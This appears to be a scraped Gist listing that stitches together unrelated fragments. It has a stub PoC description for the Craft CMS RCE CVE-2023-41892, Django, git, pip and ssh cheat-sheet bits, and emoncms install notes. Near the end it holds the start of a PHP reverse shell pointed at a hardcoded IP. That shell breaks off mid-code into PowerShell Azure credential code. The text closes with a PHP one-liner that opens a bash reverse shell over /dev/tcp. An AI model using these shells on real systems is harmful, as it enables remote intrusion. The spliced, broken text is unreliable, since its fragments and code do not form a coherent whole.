Eli Serra mano8

This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

Overview

CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

POC

This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

Django Cheat Sheet Commands

Django shell:

Project

Create project:

Create App:
python manage.py startapp app_name

First Method

Deleting the .git folder may cause problems in our git repository. If we want to delete all of our commits history, but keep the code in its current state, try this:

# Check out to a temporary branch:
git checkout --orphan TEMP_BRANCH

# Add all the files:
git add -A

SetupTools Cheat Sheet

Create package from source

$ python setup.py sdist bdist_wheel

Check package

$ twine check dist/*

Upload pip package

$ twine upload dist/*

pip Cheat Sheet

This is a forked version from opensource.com By Moshe Zadka

Install ssh-server

# sudo apt-get update # sudo apt-get install openssh-server

See status: # sudo systemctl status ssh

Backup the ssh configuration: # sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config_backup

Emoncms installlation (debian11/nginx)

Above is the nginx configuration to run emoncms on debian 11 with php7.4.

Prepare emoncms installation

Create the above paths needed from emoncms :

 # sudo mkdir /var/opt/emoncms/
 # sudo mkdir /var/opt/emoncms/phptimeseries/
 # sudo mkdir /var/opt/emoncms/phpfina/

Installation guide for debian server running vemonitor.

For this, i use an old asus eee pc 1000H laptop, see here for more info.

Install of debian 11

Downlad debian from debian.org the latest stable version for 32 bits systems. Use balenaEtcher to create a bootable usb. To boot from external media you have to press Esc during the BIOS boot splash screen and select the right installation medium. Complete the installation and upgrade the system : Pass to root user : $ su -

	<?php

	set_time_limit (0);
	$VERSION = "1.0";
	$ip = '10.10.14.12'; // CHANGE THIS
	$port = 1234; // CHANGE THIS
	$chunk_size = 1400;
	$write_a = null;
	$error_a = null;
	$shell = 'uname -a; w; id; /bin/sh -i';

	#Create a secure string for the password
	$SecureStringPassword = ConvertTo-SecureString "SuperSecretPassw0rd" -AsPlainText -Force

	#Create a PSCredential object
	$PSCredential = New-Object System.Management.Automation.PSCredential('domain\myusername', $SecureStringPassword)

	#Write PSCredential object to an Azure Automation account
	New-AzureRmAutomationCredential -Name 'MyCredentialAssetName' -Value $PSCredential

	#Retrieve PSCredential object from within a runbook of DSC compilation job

	<?php
	exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");